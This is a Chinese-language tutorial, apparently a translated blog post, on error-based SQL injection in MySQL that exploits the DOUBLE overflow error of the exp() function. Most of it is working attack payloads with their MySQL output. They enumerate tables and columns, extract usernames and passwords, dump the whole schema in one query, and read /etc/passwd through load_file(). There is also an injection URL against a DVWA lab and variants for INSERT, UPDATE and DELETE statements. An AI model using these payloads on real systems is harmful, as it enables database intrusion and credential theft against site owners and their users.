0x01 前言概述
小編又在MySQL中發現了一個Double型資料溢位。當我們拿到MySQL裡的函數時,小編比較有興趣的是其中的數學函數,它們也應該包含一些資料型態來保存數值。所以小編就跑去測試看哪些函數會出現溢位錯誤。然後小編發現,當傳遞一個大於709的值時,函數exp()就會造成一個溢位錯誤。
<p>mysql> select exp(709);<br>+-----------------------+<br>| exp(709) |<br>+-----------------------+<br>| 8.218407461554972e307 |<br>+-----------------------+<br>1 row in set (0.00 sec)</p><p>mysql> select exp(710);<br>ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'</p>
在MySQL中,exp與ln和log的功能相反,簡單介紹下,就是log和ln都傳回以e為底數的對數,見等式:
<p>mysql> select log(15);<br>+------------------+<br>| log(15) |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ln(15);<br>+------------------+<br>| ln(15) |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p>
指數函數為對數函數的反函數,exp()即以e為底的對數函數,如等式:
mysql> select exp(2.70805020110221); +-----------------------+ | exp(2.70805020110221) | +-----------------------+ | 15 | +-----------------------+ 1 row in set (0.00 sec)
0x02 注入
當涉及到注入時,我們使用否定查詢來造成「DOUBLE value is out of range」的錯誤。作者先前的博文提到的,將0按位取反就會返回“18446744073709551615”,再加上函數成功執行後返回0的緣故,我們將成功執行的函數取反就會得到***的無符號BIGINT值。
<p>mysql> select ~0;<br>+----------------------+<br>| ~0 |<br>+----------------------+<br>| 18446744073709551615 |<br>+----------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ~(select version());<br>+----------------------+<br>| ~(select version()) |<br>+----------------------+<br>| 18446744073709551610 |<br>+----------------------+<br>1 row in set, 1 warning (0.00 sec)</p>
我們透過子查詢與位元求反,造成一個DOUBLE overflow error,並藉此註出資料。
>`exp(~(select*from(select user())x))` mysql> select exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
0x03 註出資料
得到表名:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
得到列名:
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
擷取資料:
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
0x04 一蹴而就
這個查詢可以從目前的上下文中dump出所有的tables與columns。我們也可以dump出所有的資料庫,但由於我們是透過一個錯誤來提取,它會傳回很少的結果。
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
0x05 讀取文件
你可以透過load_file()函數來讀取文件,但作者發現有13行的限制,該語句也可以在BIGINT overflow injections中使用。
select exp(~(select*from(select load_file('/etc/passwd'))a));
注意,你無法寫文件,因為這個錯入寫入的只是0。
mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt'; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))' # type C:\out.txt 0
0x06 Injection in Insert
按部就班就好
mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
對於所有的insert,update和delete語句DIOS查詢也同樣可以使用。
mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000 newdb::users::id newdb::users::username newdb::users::password' from dual)))'
0x07 Injection in Update
mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
0x08 Injection in Delete
mysql> delete from users where id='1' | exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
和前面的BIGINT注入一樣,exp注入也適用於MySQL5.5.5以上版本。先前的版本對於此情況則是「一言不發」。
mysql> select version(); +---------------------+ | version() | +---------------------+ | 5.0.45-community-nt | +---------------------+ 1 row in set (0.00 sec) mysql> select exp(710); +----------+ | exp(710) | +----------+ | 1.#INF | +----------+ 1 row in set (0.00 sec) mysql> select exp(~0); +---------+ | exp(~0) | +---------+ | 1.#INF | +---------+ 1 row in set (0.00 sec)
可能還有其他的函數會產生這種報錯呦。
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